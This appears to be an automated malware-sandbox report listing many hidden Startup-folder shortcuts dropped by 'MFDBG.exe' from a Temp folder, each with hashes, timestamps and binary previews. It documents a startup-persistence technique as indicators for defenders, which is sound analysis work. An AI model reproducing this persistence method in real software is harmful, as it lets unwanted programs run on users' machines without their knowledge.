Preview:	L..................F...."...]W%.{....&..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...$...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64cb77a97e2e4db29a361d4be4ee1935.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93604157982508
Encrypted:	false
SSDEEP:	24:8n2hBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ncC00R6rMhpBoUBxdRd1nYyg
MD5:	B93CB198E6F97BFBFEBDA632F8A14972
SHA1:	E2F19DCFFAECD533360D61280D0F64202015253F
SHA-256:	55E01013978BC4AD4CCB90B5AED194E9FB4AD93907C0037AB38A3FCEBE3B8C0C
SHA-512:	5F5C2376F137E931C30E29A8696838B94E5D5D1BD343C178314AB2F2A89D1A880F3C1EEC7BC68802D9CA29F122FFE32779B2EE0F20A030F9FCD19A3E8657F4D2
Malicious:	false
Preview:	L..................F...."...]W%.{....X..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64fe0509547d40cd9fb220b3f4287a0c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936789511196491
Encrypted:	false
SSDEEP:	24:8iphBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ipm0R6rMhpBoUBxdRd1nYyg
MD5:	55DCD4BFAEF957F9AF6E4FBA34C5E2B5
SHA1:	C056A99470176133E6A51A136D47A411245AB0C0
SHA-256:	5EABB341565FEA46EF03406D3A47EFCDAD8200247361DE78787718D2BE5EEBF1
SHA-512:	960B1690289BA80FBF88213A4A988A8C642C7A70637622068FBFDC5286295243F8935346006A1EC7EA6C511DCB9A4ED2ECADF3E970CF89547787C286776C9A83
Malicious:	false
Preview:	L..................F...."...]W%.{.....1.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6514f30aef6940cfbbb8c0bac35b0d79.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129831
Encrypted:	false
SSDEEP:	24:8C8hBfT8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8COo0R6rMhpBoUBxdRd1nYyg
MD5:	470802E79A1F88D8096F502EC189A62A
SHA1:	DCBDAB911D3E4B7E09AE9FB5A931A658774A9D1D
SHA-256:	9F8E6DF6E83CF413E2F30BB266E4C7CDD51D4527C9230D04479BE159B850A62C
SHA-512:	153EAD39FACE095861CEA79B4C89CDCCB5C6FAC190AEE5BB1619EC9ED49D9B31586B9AB1C29D5FE280D04D08F86605642FFF1F052314FCEFDA6392DDC76406BD
Malicious:	false
Preview:	L..................F...."...]W%.{....R..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6557e7dbea914fc083c7f6c85c25d263.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944187053391455
Encrypted:	false
SSDEEP:	24:8aGhBfG448iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ju490R6rMhpBoUBxdRd1nYyg
MD5:	E142D87564472B6C451D0F7155FA7380
SHA1:	D40ECF0160A088B066371FD87971923BB7186CBF
SHA-256:	D3DF7ED02D6BB15DA9F43BAD08E1DF4A6E65AD7238A8CC455E58251A7EA42B12
SHA-512:	4354149BB48759D7FA65CD3C97A09BA97FAAB46FA275C13FAC41C894DF19F3C713A66B1A6B86F431273F58A810DB8F4136342AE301DB392790E2731A9222B825
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...7...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_655be88d522843e4bef216f24627203c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940713944572199
Encrypted:	false
SSDEEP:	24:8EhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mZ0R6rMhpBoUBxdRd1nYyg
MD5:	71627AC21C4B77C929F25437BB503EAD
SHA1:	2B93247467C8A899A60EF864F9F2CAC94D6BD2F4
SHA-256:	D73B72159D8B179579CE9F3C528C23A457B2D5748C04A914E2B43D5DF4EEEFBD
SHA-512:	DA406C145D5B229403B5C14C686E009FD46E421FB9D9AA12144997A41DF61ECD410A075C336255B7A22D850E7A46614E4D0857713C75DD07389683DDA6606018
Malicious:	false
Preview:	L..................F...."...]W%.{....#..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65851bf6ae1b4a559d9948b82b675424.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931005089939026
Encrypted:	false
SSDEEP:	24:8CRPhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cp30R6rMhpBoUBxdRd1nYyg
MD5:	8955223DCDB6036CCFB4379D3F864256
SHA1:	BD9FDC29B09471DF4CC35238D499315815F976A5
SHA-256:	0FF7282C62924ED749AA0212E231E3FAAA646250A6A70688F794BB8AE0DC4455
SHA-512:	8CB4BA692C73D22146094E760E55D7AB2D4437DD51C0FF041DB0B981561CF5D599505FB63B3871041D4CC3B74E7138911D4E4541B926BF83F67572EADCD52EAA
Malicious:	false
Preview:	L..................F...."...]W%.{.....3.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65b16a18bbec4ca6a0f94c2581bf5aa7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935604508581561
Encrypted:	false
SSDEEP:	24:8ohBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qlc0R6rMhpBoUBxdRd1nYyg
MD5:	BD6DA5CF7C65E975AB507AB6B3DD1EF7
SHA1:	370A6A51C2249484956CE085FA9CBF11D40B592D
SHA-256:	99101F673F5BA7C24F53A735EC4941BBA246B61153E416438AAFA29F4AEF0245
SHA-512:	5CB33BF5A74F50C4E42A7AE298080E18D7DC5DAD856365C9FBDF19FEB291B2E47D4A104C7E79C3570BDDBD3EC748B9F1051544A65275741F843AB415EDED974C
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_661c9c404d5a4cb38dfa37a647a7ab6e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935051799464729
Encrypted:	false
SSDEEP:	24:8qhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8As0R6rMhpBoUBxdRd1nYyg
MD5:	1D89B641BFE5D18C9CBB71481D29B079
SHA1:	DB7719E4695844A896C39B72C7FC0C1939FBD21A
SHA-256:	B915AF758D0C97629859F525F315A3B82355289EBC724616EDF71809D820BE1E
SHA-512:	5BB84F72D58A515B7777BA7D36A8ADFCC07A23B588B065E134B381627AFAC95ED3D53ADA4A1E7ACFE92E462C19FED4154983A1831AE1EE8EDE4960F484C7CBDC
Malicious:	false
Preview:	L..................F...."...]W%.{...4/.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_666fc6932fde4d4e81b88c31d33064f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937366623119004
Encrypted:	false
SSDEEP:	24:8SChBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SorQ0R6rMhpBoUBxdRd1nYyg
MD5:	4402991077A381C376006CF011E38A04
SHA1:	1A288973007D969D229DF4BF68A2C32F698D816A
SHA-256:	67E9E591905CBE3985D6798B9DE6EC3ACC7160F985196C016EAB31A8B18DDD78
SHA-512:	77CD0F85A6A4893A669D26452488C86EB7A2F172C55747F9C3F05F19EC6F373541F1A36D53CC9CA119781BECE76389CC0259C552DF1B8EA088B7B0F57DCD6960
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66c868bdf9ed48388470fc2df97825f3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942944842348092
Encrypted:	false
SSDEEP:	24:8x9hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/+0R6rMhpBoUBxdRd1nYyg
MD5:	A9847241228CE99CB59E25439F26E82D
SHA1:	7751FC4CAEE032A3825C274D411C5C20628B4B82
SHA-256:	C3DE76304A89F8C08811520C9D8312D31E7193C2030205B75DEA4D337EB52B91
SHA-512:	638134FC74B4FCB4F890209536CA1AE86B41E473E6D67CC4C69804EA2E05CFE7263D3ED13D62B0FC2B7F26A1D908029113713AF99B4FA1998362137F11FB7150
Malicious:	false
Preview:	L..................F...."...]W%.{...*.0.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66fc59645d7e4b78a952b7c9475ebe33.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930569516983003
Encrypted:	false
SSDEEP:	24:8BhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8x90R6rMhpBoUBxdRd1nYyg
MD5:	E5BA2B15F315D5576FED01398C42C3CD
SHA1:	C8B0341015FE41A4F0898C762C4B3708570D1662
SHA-256:	56CD381ECDE05FD594468518F70CAEB46427BFD8437B82FAF8B95682D478AC11
SHA-512:	090A1624D5F57ECA7F67B11A5CA04E2DC3C90A15B4AF45E0CB2EF20364E7A1A38C1F54621F69B0BCE594FD563B97DBEA85A277B4587F4737DCBD1BE79AC3A80B
Malicious:	false
Preview:	L..................F...."...]W%.{...8.e.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6734b7106c734fc2bcaafda57c4d937d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9390038835154115
Encrypted:	false
SSDEEP:	24:86hBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wNQ0R6rMhpBoUBxdRd1nYyg
MD5:	0F1706D22D64238599E5870A79327215
SHA1:	338E2631DC573C252AF97C65134FFF0FCAA6ED72
SHA-256:	96C8023B8EC6630E050D2EB300606D9537EEFCDA39B9239E00002F83CF25B64F
SHA-512:	9CD0599E33D0CA838BC87C3870F6BC783A20D7C0AD22C2F09236201A846D889E7B7EBFA6DC4E69505D34DD223191B82400D77E383D2FD3026F2A3C4C1B14523D
Malicious:	false
Preview:	L..................F...."...]W%.{....1Z.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67700df4ca004ef7bf53b3238a8dc761.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936348641979791
Encrypted:	false
SSDEEP:	24:8ZhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85KI0R6rMhpBoUBxdRd1nYyg
MD5:	E678636E1556CBF69656F46EB98785E8
SHA1:	FEB0BC79FF21874C99D3CC1C04812ADF0510EEE8
SHA-256:	87CF948B883C3D5245AEFA6132C31BA196577D85554A11F19492DE2300EE2883
SHA-512:	61A943278E31EEFDC552312E9A1DA9722D0E1F1ADA4654C590946E9A2307766E6D46928D86559B4F075D3A1802006DA61A17660C1B49FA867675E3557566CAA5
Malicious:	false
